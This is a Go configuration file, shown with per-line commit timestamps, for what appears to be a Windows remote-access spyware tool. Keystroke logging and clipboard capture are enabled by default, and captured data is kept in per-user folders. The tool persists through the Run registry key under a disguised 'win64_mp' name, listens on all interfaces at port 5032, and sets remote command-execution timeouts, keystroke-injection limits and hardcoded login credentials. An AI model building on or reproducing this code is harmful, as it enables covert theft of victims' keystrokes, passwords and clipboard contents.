2026-08-18 16:40:50 +03:00
|
|
|
package config
|
|
|
|
|
|
|
|
|
|
import (
|
|
|
|
|
"os"
|
2026-08-28 12:44:09 +03:00
|
|
|
"path/filepath"
|
|
|
|
|
"strconv"
|
2026-08-18 16:40:50 +03:00
|
|
|
"strings"
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
const (
|
2026-08-28 12:44:09 +03:00
|
|
|
Version = "1.0.0"
|
|
|
|
|
DefaultAddr = "0.0.0.0:5032"
|
2026-08-28 13:30:12 +03:00
|
|
|
MutexName = "win64_mp_Mutex"
|
2026-08-28 12:44:09 +03:00
|
|
|
RequestBodyMax = 1 << 20
|
2026-08-28 12:52:26 +03:00
|
|
|
MaxUploadSize = 100 << 20 // ponytail: 100MB cap; raise via env later if needed
|
2026-08-28 12:44:09 +03:00
|
|
|
MaxListEntries = 10000
|
|
|
|
|
MaxImageQuality = 100
|
|
|
|
|
DefaultExecTO = 30
|
|
|
|
|
MaxExecTO = 120
|
2026-08-28 13:30:12 +03:00
|
|
|
StartupValueName = "win64_mp"
|
2026-08-28 12:44:09 +03:00
|
|
|
StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run`
|
|
|
|
|
MaxInputText = 4096
|
2026-08-28 12:52:26 +03:00
|
|
|
DefaultKeyDelayMs = 25
|
|
|
|
|
MaxKeyDelayMs = 200
|
2026-08-28 13:30:12 +03:00
|
|
|
AppDataDir = "win64_mp"
|
|
|
|
|
InstalledExeName = "win64_mp.exe"
|
2026-08-28 12:44:09 +03:00
|
|
|
KeylogSubdir = "keystrokes"
|
2026-08-28 13:08:14 +03:00
|
|
|
ClipboardSubdir = "clipboard"
|
2026-08-28 12:44:09 +03:00
|
|
|
DefaultKeylogRetentionDays = 7
|
2026-08-29 18:15:46 +03:00
|
|
|
AuthUser = "admin"
|
|
|
|
|
AuthPass = "blueberries"
|
2026-08-18 16:40:50 +03:00
|
|
|
)
|
|
|
|
|
|
|
|
|
|
func EnvOr(name, fallback string) string {
|
|
|
|
|
if value := strings.TrimSpace(os.Getenv(name)); value != "" {
|
|
|
|
|
return value
|
|
|
|
|
}
|
|
|
|
|
return fallback
|
|
|
|
|
}
|
2026-08-28 12:44:09 +03:00
|
|
|
|
|
|
|
|
func KeylogEnabled() bool {
|
|
|
|
|
switch strings.ToLower(strings.TrimSpace(os.Getenv("KEYLOG_ENABLED"))) {
|
|
|
|
|
case "0", "false", "no", "off":
|
|
|
|
|
return false
|
|
|
|
|
default:
|
|
|
|
|
return true
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func KeylogRetentionDays() int {
|
|
|
|
|
raw := strings.TrimSpace(os.Getenv("KEYLOG_RETENTION_DAYS"))
|
|
|
|
|
if raw == "" {
|
|
|
|
|
return DefaultKeylogRetentionDays
|
|
|
|
|
}
|
|
|
|
|
days, err := strconv.Atoi(raw)
|
|
|
|
|
if err != nil || days < 0 {
|
|
|
|
|
return DefaultKeylogRetentionDays
|
|
|
|
|
}
|
|
|
|
|
return days
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func KeylogDir() (string, error) {
|
2026-08-28 12:52:26 +03:00
|
|
|
base, err := InstallDir()
|
|
|
|
|
if err != nil {
|
|
|
|
|
return "", err
|
|
|
|
|
}
|
|
|
|
|
return filepath.Join(base, KeylogSubdir), nil
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func InstallDir() (string, error) {
|
2026-08-28 12:44:09 +03:00
|
|
|
base, err := os.UserConfigDir()
|
|
|
|
|
if err != nil {
|
|
|
|
|
return "", err
|
|
|
|
|
}
|
2026-08-28 12:52:26 +03:00
|
|
|
return filepath.Join(base, AppDataDir), nil
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func InstalledExe() (string, error) {
|
|
|
|
|
dir, err := InstallDir()
|
|
|
|
|
if err != nil {
|
|
|
|
|
return "", err
|
|
|
|
|
}
|
|
|
|
|
return filepath.Join(dir, InstalledExeName), nil
|
2026-08-28 12:44:09 +03:00
|
|
|
}
|
2026-08-28 13:08:14 +03:00
|
|
|
|
|
|
|
|
func ClipboardEnabled() bool {
|
|
|
|
|
switch strings.ToLower(strings.TrimSpace(os.Getenv("CLIPBOARD_ENABLED"))) {
|
|
|
|
|
case "0", "false", "no", "off":
|
|
|
|
|
return false
|
|
|
|
|
default:
|
|
|
|
|
return true
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func ClipboardRetentionDays() int {
|
|
|
|
|
raw := strings.TrimSpace(os.Getenv("CLIPBOARD_RETENTION_DAYS"))
|
|
|
|
|
if raw == "" {
|
|
|
|
|
return KeylogRetentionDays()
|
|
|
|
|
}
|
|
|
|
|
days, err := strconv.Atoi(raw)
|
|
|
|
|
if err != nil || days < 0 {
|
|
|
|
|
return DefaultKeylogRetentionDays
|
|
|
|
|
}
|
|
|
|
|
return days
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func ClipboardDir() (string, error) {
|
|
|
|
|
base, err := InstallDir()
|
|
|
|
|
if err != nil {
|
|
|
|
|
return "", err
|
|
|
|
|
}
|
|
|
|
|
return filepath.Join(base, ClipboardSubdir), nil
|
|
|
|
|
}
|